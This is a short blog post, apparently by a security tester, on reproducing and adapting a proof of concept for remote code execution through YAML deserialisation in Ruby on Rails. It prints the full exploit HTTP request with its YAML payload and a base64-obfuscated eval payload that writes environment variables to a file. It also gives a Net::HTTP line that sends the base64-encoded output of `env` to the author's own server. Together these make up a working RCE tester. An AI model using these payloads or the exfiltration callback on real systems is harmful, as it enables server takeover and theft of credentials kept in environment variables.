I checked out some proof of concept from http://ronin-ruby.github.com/blog/2013/01/09/rails-pocs.html made in Ruby.
In order to see really what was going on, I proxied the Ruby PoC trough Burp. It was done easily since it runs on Ruby Ronin:
Ronin::Network::HTTP.proxy[:host] = '127.0.0.1'
Ronin::Network::HTTP.proxy[:port] = 8080Then I ran from the command line :
ruby rails_rce.rb http://127.0.0.1:3000 puts 'rce'And then got the request :
POST / HTTP/1.1
Content-Type: text/xml
X-Http-Method-Override: get
Accept: */*
User-Agent: Ruby
Host: 127.0.0.1:3000
Content-Length: 396
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? ! 'foo
(puts ''rce''; @executed = true) unless @executed
__END__
'
: !ruby/struct
defaults:
:action: create
:controller: foos
required_parts: []
requirements:
:action: create
:controller: foos
segment_keys:
- :format</exploit>
The
unless @executed is there because the injected code is actually iterated many times (4 in my hello world test). Also, you have to duplicate the single quote in the command in order to avoid a parser error. This is actually a good test case in order to see if the yaml parser is working and exploitable.I tried for quite a while to have something else than an error to be fed back into the HTTP response, but without success. I was testing with WEBrick and haven't try with Passenger. I was trying to access the response object within Rails but with no success. Nevertheless, I was able to do ruby code, includes, and execute shell commands.
Code was running fine, but I wanted more flexibility when writing it, so I used base64 and eval in the payload :
foo
(require ''base64''; eval(Base64.decode64(''aWYgQGEKICBAYSA9IEBhICsgMQplbHNlCiAgQGEgPSAwCmVuZApwdXRzIEBhCnN5c3RlbSgiZW52ID4+IC90bXAvdGVzdC50eHQiKQo='')); @executed = true) unless @executed
__END__
That way it was easy to execute multiple lines and use code that is actually more readable without having to play with it manually.At the end I came up with that code to be able to get feedback on my Web server if successful:
require 'net/http'
Net::HTTP.get('www.jonathanmarcil.ca', '/?rubyonfails=' + Base64.urlsafe_encode64(`env`))
puts 'You have been tested!'
It worked just fine and that's how I made my RoR tester.
Tested under development versions:
WEBrick 1.3.1 Rails 3.2.8 ruby 1.9.3 (2013-01-15) [i686-linux]
And production:
Apache/2.2.22 (Ubuntu) Phusion_Passenger/3.0.19 ruby-1.9.3-p374 x86_64
No comments:
Post a Comment